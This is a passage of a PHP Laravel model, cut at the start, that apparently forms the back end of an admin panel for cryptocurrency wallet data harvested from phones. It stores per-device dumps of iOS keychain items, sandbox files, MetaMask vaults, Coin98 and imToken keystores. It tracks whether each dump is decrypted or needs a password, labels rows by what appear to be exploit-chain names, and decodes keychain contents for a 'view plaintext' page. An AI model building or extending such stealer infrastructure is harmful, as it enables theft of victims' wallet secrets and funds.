'array', 'chain' => 'integer', 'decrypted' => 'integer', 'needs_password' => 'integer', 'list_has_web3' => 'integer', ]; } /** * Columns for admin/device list pages. Never include raw_json — a page of * dumps will exceed the 128MB PHP limit (see production.ERROR OOM). * * @return list */ public static function listColumns(string $table = 'wallet_keystores'): array { $cols = [ $table.'.id', $table.'.device_id', $table.'.source', $table.'.decrypted', ]; if (self::hasChainColumn()) { $cols[] = $table.'.chain'; } if (self::hasNeedsPasswordColumn()) { $cols[] = $table.'.needs_password'; } if (self::hasListStatsColumns()) { $cols[] = $table.'.list_kind'; $cols[] = $table.'.list_item_count'; $cols[] = $table.'.list_summary'; $cols[] = $table.'.list_has_web3'; } $cols[] = $table.'.created_at'; $cols[] = $table.'.updated_at'; $cols[] = DB::raw('LENGTH('.$table.'.raw_json) as raw_json_len'); return $cols; } /** * Same as listColumns() but without LENGTH(raw_json). Use this for * paginated/sorted queries to avoid MySQL "Out of sort memory" (HY001) * — the LENGTH() expression forces MySQL to read large blobs during * filesort, overflowing the sort buffer even for a handful of rows. * * @return list */ public static function listColumnsLight(string $table = 'wallet_keystores'): array { $cols = [ $table.'.id', $table.'.device_id', $table.'.source', $table.'.decrypted', ]; if (self::hasChainColumn()) { $cols[] = $table.'.chain'; } if (self::hasNeedsPasswordColumn()) { $cols[] = $table.'.needs_password'; } if (self::hasListStatsColumns()) { $cols[] = $table.'.list_kind'; $cols[] = $table.'.list_item_count'; $cols[] = $table.'.list_summary'; $cols[] = $table.'.list_has_web3'; } $cols[] = $table.'.created_at'; $cols[] = $table.'.updated_at'; return $cols; } public static function hasChainColumn(): bool { static $has = null; if ($has === null) { $has = \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'chain'); } return $has; } public static function hasNeedsPasswordColumn(): bool { static $has = null; if ($has === null) { $has = \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password'); } return $has; } public static function hasListStatsColumns(): bool { static $has = null; if ($has === null) { $has = \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'list_item_count'); } return $has; } /** * List-page stats. Prefer denormalized columns so we never load raw_json * (sandbox dumps can be tens of MB). Cache-miss hydrates once and persists. * * @return array{item_count: int, summary: string, kind: string, has_web3_keystore: bool} */ public function listStats(): array { if ($this->hasCachedListStats()) { return $this->cachedListStats(); } $json = is_array($this->raw_json) ? $this->raw_json : null; if ($json === null && $this->id) { $raw = self::query()->whereKey($this->id)->value('raw_json'); $this->setAttribute('raw_json', $raw); $json = is_array($this->raw_json) ? $this->raw_json : []; } $json = is_array($json) ? $json : []; try { $stats = self::computeListStatsFromJson($json); } catch (\Throwable $e) { Log::warning('keystore.list.hydrate.fail', [ 'id' => $this->id, 'error' => $e->getMessage(), ]); $stats = [ 'item_count' => 0, 'summary' => '', 'kind' => self::kindLabelFor(trim((string) ($json['kind'] ?? ''))), 'has_web3_keystore' => false, ]; } finally { if ($this->id) { $this->setAttribute('raw_json', null); } } $this->persistListStats($stats); return $stats; } public function hasCachedListStats(): bool { return self::hasListStatsColumns() && array_key_exists('list_item_count', $this->attributes) && $this->attributes['list_item_count'] !== null; } /** * @return array{item_count: int, summary: string, kind: string, has_web3_keystore: bool} */ public function cachedListStats(): array { return [ 'item_count' => (int) $this->list_item_count, 'summary' => (string) ($this->list_summary ?? ''), 'kind' => (string) ($this->list_kind ?? ''), 'has_web3_keystore' => (int) $this->list_has_web3 === 1, ]; } /** * @param array $json * @return array{item_count: int, summary: string, kind: string, has_web3_keystore: bool} */ public static function computeListStatsFromJson(array $json): array { $row = new static(['raw_json' => $json]); $names = []; $count = 0; $row->collectListMeta($json, $count, $names); $kind = self::kindLabelFor(trim((string) ($json['kind'] ?? ''))); if ($names === []) { $summary = $count > 0 ? $count.' 条' : ''; } else { $summary = implode(' · ', $names); if ($count > 3) { $summary .= ' 等'.$count.'条'; } } return [ 'item_count' => $count, 'summary' => mb_substr($summary, 0, 255), 'kind' => $kind, 'has_web3_keystore' => $row->containsWeb3Keystore($json), ]; } /** * @param array{item_count: int, summary: string, kind: string, has_web3_keystore: bool} $stats * @return array */ public static function listStatsAttributes(array $stats): array { if (! self::hasListStatsColumns()) { return []; } return [ 'list_kind' => $stats['kind'], 'list_item_count' => $stats['item_count'], 'list_summary' => $stats['summary'], 'list_has_web3' => ! empty($stats['has_web3_keystore']) ? 1 : 0, ]; } /** * @param array{item_count: int, summary: string, kind: string, has_web3_keystore: bool} $stats */ private function persistListStats(array $stats): void { $attrs = self::listStatsAttributes($stats); if ($attrs === []) { return; } foreach ($attrs as $key => $value) { $this->setAttribute($key, $value); } if ($this->id) { self::query()->whereKey($this->id)->update($attrs); } } /** * Count list entries and pick up to 3 names without hashing / base64-decoding blobs. * * @param array $json * @param list $names */ private function collectListMeta(array $json, int &$count, array &$names): void { $wallets = $json['wallets'] ?? null; if (is_array($wallets)) { foreach ($wallets as $key => $bucket) { if (is_string($bucket) && $bucket !== '') { $count++; if (count($names) < 3) { $names[] = is_string($key) ? $key : 'wallet'; } continue; } if (! is_array($bucket)) { continue; } $items = is_array($bucket['items'] ?? null) ? $bucket['items'] : []; foreach ($items as $item) { if (! is_array($item)) { continue; } $count++; if (count($names) < 3) { $name = trim((string) ($item['account'] ?? '')); if ($name !== '') { $names[] = $name; } } } } } $sandbox = $json['sandbox'] ?? null; if (is_array($sandbox)) { $this->collectSandboxMeta($sandbox, $count, $names); } if (isset($json['crypto']) && is_array($json['crypto'])) { $count++; if (count($names) < 3) { $names[] = (string) ($json['id'] ?? $json['type'] ?? 'keystore'); } } } /** * @param array $sandbox * @param list $names */ private function collectSandboxMeta(array $sandbox, int &$count, array &$names, string $prefix = ''): void { foreach ($sandbox as $key => $value) { $path = $prefix === '' ? (string) $key : $prefix.'/'.$key; if (is_array($value)) { if (isset($value['items']) && is_array($value['items'])) { foreach ($value['items'] as $item) { if (! is_array($item)) { continue; } $count++; if (count($names) < 3) { $name = trim((string) ($item['account'] ?? '')); $names[] = $name !== '' ? $name : $path; } } continue; } $this->collectSandboxMeta($value, $count, $names, $path); continue; } if (! is_string($value) || $value === '') { continue; } $count++; if (count($names) < 3) { $names[] = $path; } } } public static function kindLabelFor(string $kind): string { return match ($kind) { 'keychain.wallets' => '钥匙串', 'sandbox' => '沙盒文件', 'web3.keystore' => '标准 Keystore', 'metamask.vault' => 'MetaMask Vault', 'coin98.wallet' => 'Coin98 加密钱包', 'encrypted.sandbox' => '加密钱包文件', default => $kind !== '' ? $kind : '未知', }; } /** * @param array $rawJson */ public static function hashPayload(array $rawJson): string { $row = new static(['raw_json' => $rawJson]); $digests = $row->contentDigests(); $seed = $row->kind().'|'.implode(',', $digests); if ($digests === []) { $seed .= '|'.json_encode($rawJson, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); } return hash('sha256', $seed); } /** * @param array $rawJson * @param bool $needsPassword When true, persist needs_password=1. Never writes 0. */ public static function firstOrCreateForDevice(Device $device, string $source, array $rawJson, bool $needsPassword = false): self { $hash = self::hashPayload($rawJson); $matches = []; $select = ['id', 'content_hash', 'decrypted']; if (self::hasChainColumn()) { $select[] = 'chain'; } if (\Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password')) { $select[] = 'needs_password'; } foreach (self::query()->where('device_id', $device->id)->select($select)->orderByDesc('decrypted')->orderByDesc('id')->cursor() as $row) { $rowHash = (string) $row->content_hash; if ($rowHash === '') { $raw = self::query()->whereKey($row->id)->value('raw_json'); $row->setAttribute('raw_json', $raw); $rowHash = self::hashPayload(is_array($row->raw_json) ? $row->raw_json : []); $row->setAttribute('raw_json', null); } if (! hash_equals($rowHash, $hash)) { continue; } if ((string) $row->content_hash !== $hash) { self::query()->whereKey($row->id)->update(['content_hash' => $hash]); $row->setAttribute('content_hash', $hash); } $row->setAttribute('raw_json', null); $matches[] = $row; } if ($matches !== []) { $keep = $matches[0]; foreach (array_slice($matches, 1) as $dup) { $dup->delete(); } if ($needsPassword) { self::markNeedsPassword($keep); } self::fillChain($keep, $device); return $keep; } $payload = [ 'device_id' => $device->id, 'source' => $source, 'decrypted' => 0, 'raw_json' => $rawJson, ]; if (self::hasChainColumn()) { $payload['chain'] = self::chainFromDevice($device); } $payload = array_merge($payload, self::listStatsAttributes(self::computeListStatsFromJson($rawJson))); if (\Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'content_hash')) { $payload['content_hash'] = $hash; } if ($needsPassword && \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password')) { $payload['needs_password'] = 1; } return self::query()->create($payload); } public static function chainFromDevice(Device $device): int { $chain = (int) ($device->chain ?: Device::CHAIN_CORUNA); return in_array($chain, [Device::CHAIN_CORUNA, Device::CHAIN_DARKSWORD, Device::CHAIN_APP], true) ? $chain : Device::CHAIN_CORUNA; } /** * Fill missing chain from the device. Does not overwrite a stored value. */ public static function fillChain(self $row, Device $device): void { if (! self::hasChainColumn()) { return; } if ((int) $row->chain === Device::CHAIN_CORUNA || (int) $row->chain === Device::CHAIN_DARKSWORD || (int) $row->chain === Device::CHAIN_APP) { return; } $chain = self::chainFromDevice($device); self::query()->whereKey($row->id)->update(['chain' => $chain]); $row->setAttribute('chain', $chain); } /** * Flag a row as requiring a user password. Writes 1 only; never 0. */ public static function markNeedsPassword(self $row): void { if (! \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password')) { return; } if ((int) $row->needs_password === 1) { return; } self::query()->whereKey($row->id)->update(['needs_password' => 1]); $row->setAttribute('needs_password', 1); } /** * @return list */ public function contentDigests(): array { $out = []; foreach ($this->listedItems() as $item) { $sha = (string) ($item['data_sha'] ?? ''); if ($sha === '' || (int) ($item['data_len'] ?? 0) <= 0) { continue; } $out[] = $sha; } sort($out); return $out; } public function sourceLabel(): string { $source = trim((string) $this->source); return $source !== '' ? $source : '未知'; } public function kind(): string { return is_array($this->raw_json) ? trim((string) ($this->raw_json['kind'] ?? '')) : ''; } public function kindLabel(): string { return self::kindLabelFor($this->kind()); } /** * Detect whether this keystore entry contains a standard Web3 keystore * (Web3 Secret Storage Definition): a JSON object with a `crypto` field * that has `ciphertext` and `mac` sub-keys. This covers imToken * walletsV2 keystores (stored directly or nested under wallets.imtoken) * and any UTC-style keystore blob. * * iOS keychain items (Coin98, MetaMask, Phantom, etc. with dataHex) and * sandbox files do NOT match and will return false. */ public function hasWeb3Keystore(): bool { $json = is_array($this->raw_json) ? $this->raw_json : []; return $this->containsWeb3Keystore($json); } /** * @param mixed $node */ private function containsWeb3Keystore(mixed $node, int $depth = 0): bool { if ($depth > 12 || ! is_array($node)) { return false; } if ($this->isWeb3KeystoreNode($node)) { return true; } foreach ($node as $child) { if (is_array($child) && $this->containsWeb3Keystore($child, $depth + 1)) { return true; } } return false; } /** * @param array $node */ private function isWeb3KeystoreNode(array $node): bool { $crypto = $node['crypto'] ?? null; return is_array($crypto) && isset($crypto['ciphertext'], $crypto['mac']) && is_string($crypto['ciphertext']) && is_string($crypto['mac']); } /** * @return list */ public function listedItems(): array { try { return $this->collectListedItems(); } catch (\Throwable) { return []; } } /** * @return list */ private function collectListedItems(): array { $json = is_array($this->raw_json) ? $this->raw_json : []; $out = []; $wallets = $json['wallets'] ?? null; if (is_array($wallets)) { foreach ($wallets as $key => $bucket) { if (is_string($bucket) && $bucket !== '') { $out[] = $this->normalizeItem([ 'account' => is_string($key) ? $key : 'wallet', 'data' => $bucket, ]); continue; } if (! is_array($bucket)) { continue; } $items = is_array($bucket['items'] ?? null) ? $bucket['items'] : []; foreach ($items as $item) { if (is_array($item)) { $out[] = $this->normalizeItem($item); } } } } $sandbox = $json['sandbox'] ?? null; if (is_array($sandbox)) { $out = array_merge($out, $this->sandboxItems($sandbox)); } if (isset($json['crypto']) && is_array($json['crypto'])) { $out[] = $this->normalizeItem([ 'account' => (string) ($json['id'] ?? $json['type'] ?? 'keystore'), 'path' => 'crypto', 'dataHex' => (string) ($json['crypto']['ciphertext'] ?? ''), ]); } return $out; } public function itemCount(): int { return count($this->listedItems()); } public function summary(): string { $names = []; foreach ($this->listedItems() as $item) { $name = $item['account'] !== '' ? $item['account'] : $item['path']; if ($name !== '') { $names[] = $name; } if (count($names) >= 3) { break; } } $n = $this->itemCount(); if ($names === []) { return $n > 0 ? $n.' 条' : ''; } $text = implode(' · ', $names); if ($n > 3) { $text .= ' 等'.$n.'条'; } return $text; } public function device(): BelongsTo { return $this->belongsTo(Device::class); } /** * @param array $item * @return array{ * account: string, * service: string, * access_group: string, * protection_class: string, * path: string, * data_len: int, * data_preview: string, * data_sha: string * } */ private function normalizeItem(array $item): array { $hex = (string) ($item['dataHex'] ?? ''); $bin = ''; if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) { $bin = (string) hex2bin($hex); } elseif (isset($item['data']) && is_string($item['data'])) { $bin = $item['data']; } return [ 'account' => trim((string) ($item['account'] ?? '')), 'service' => trim((string) ($item['service'] ?? '')), 'access_group' => trim((string) ($item['accessGroup'] ?? $item['access_group'] ?? '')), 'protection_class' => (string) ($item['protectionClass'] ?? $item['class'] ?? ''), 'path' => trim((string) ($item['path'] ?? '')), 'data_len' => strlen($bin), 'data_preview' => $this->previewBytes($bin !== '' ? $bin : $hex), 'data_sha' => $bin === '' ? '' : hash('sha256', $bin), ]; } /** * @param array $sandbox * @return list */ private function sandboxItems(array $sandbox, string $prefix = ''): array { $out = []; foreach ($sandbox as $key => $value) { $path = $prefix === '' ? (string) $key : $prefix.'/'.$key; if (is_array($value)) { if (isset($value['items']) && is_array($value['items'])) { foreach ($value['items'] as $item) { if (is_array($item)) { $out[] = $this->normalizeItem($item); } } continue; } $out = array_merge($out, $this->sandboxItems($value, $path)); continue; } if (! is_string($value) || $value === '') { continue; } $bin = base64_decode($value, true); if ($bin === false) { $bin = $value; } $out[] = $this->normalizeItem([ 'account' => basename($path), 'path' => $path, 'data' => $bin, ]); } return $out; } private function previewBytes(string $raw): string { if ($raw === '') { return ''; } if (mb_check_encoding($raw, 'UTF-8') && preg_match('/^[\x09\x0A\x0D\x20-\x7E]{1,256}$/', $raw)) { return $raw; } $hex = bin2hex($raw); return strlen($hex) > 48 ? substr($hex, 0, 48).'…' : $hex; } /** * Keys whose values are sensitive (encrypted blobs, private keys, * salts, IVs, etc.) and should be masked in the detail view. */ private const MASK_KEYS = [ 'ciphertext', 'mac', 'salt', 'iv', 'nonce', 'encStr', 'encKey', 'encAuthKey', 'encOriginal', 'secretKey', 'privateKey', 'seed', 'cipherparams', 'kdfparams', 'cipher', 'kPKey', 'kPinPasswordNew', 'pin_code_key_uuid', 'mnemonic_key_uuid', 'pin_code_key_multi_uuid', ]; /** * Return the raw_json tree with sensitive fields masked, suitable for * display in the admin "查看明文" detail view. Each keychain item's * dataHex is decoded to UTF-8 when possible and nested sensitive fields * are replaced with `***MASKED***`. * * @return array */ public function maskedDetail(): array { $raw = self::query()->whereKey($this->id)->value('raw_json'); if (! is_array($raw)) { return []; } return $this->maskTree($raw); } /** * Recursively mask sensitive keys in a data tree. * * @param mixed $node * @return mixed */ private function maskTree(mixed $node, int $depth = 0): mixed { if ($depth > 12) { return null; } if (is_array($node)) { $out = []; foreach ($node as $key => $value) { $lowerKey = strtolower((string) $key); if (in_array($lowerKey, array_map('strtolower', self::MASK_KEYS), true)) { // Mask the value but preserve type info and length. if (is_string($value)) { $out[$key] = '***MASKED***('.strlen($value).' chars)'; } elseif (is_array($value)) { $out[$key] = '***MASKED***('.count($value).' items)'; } else { $out[$key] = '***MASKED***'; } continue; } // Decode dataHex in-place to show decoded content. if ($lowerKey === 'datahex' && is_string($value) && $value !== '') { $decoded = $this->tryDecodeHex($value); if ($decoded !== null) { $out[$key] = '***MASKED***('.strlen($value).' hex chars)'; $out['_dataDecoded'] = $this->maskTree($decoded, $depth + 1); continue; } $out[$key] = '***MASKED***('.strlen($value).' hex chars)'; continue; } $out[$key] = $this->maskTree($value, $depth + 1); } return $out; } return $node; } /** * Try to decode a hex string into a JSON array or readable UTF-8 text. */ private function tryDecodeHex(string $hex): mixed { $hex = trim($hex); if ($hex === '' || ! ctype_xdigit($hex) || strlen($hex) % 2 !== 0) { return null; } $bin = @hex2bin($hex); if (! is_string($bin) || $bin === '' || ! mb_check_encoding($bin, 'UTF-8')) { return null; } // Try JSON first. $json = json_decode($bin, true); if (is_array($json)) { return $json; } // Return as plain text if it looks printable. if (preg_match('/^[\x09\x0A\x0D\x20-\x7E\x{4e00}-\x{9fff}]+$/u', $bin)) { return $bin; } return null; } }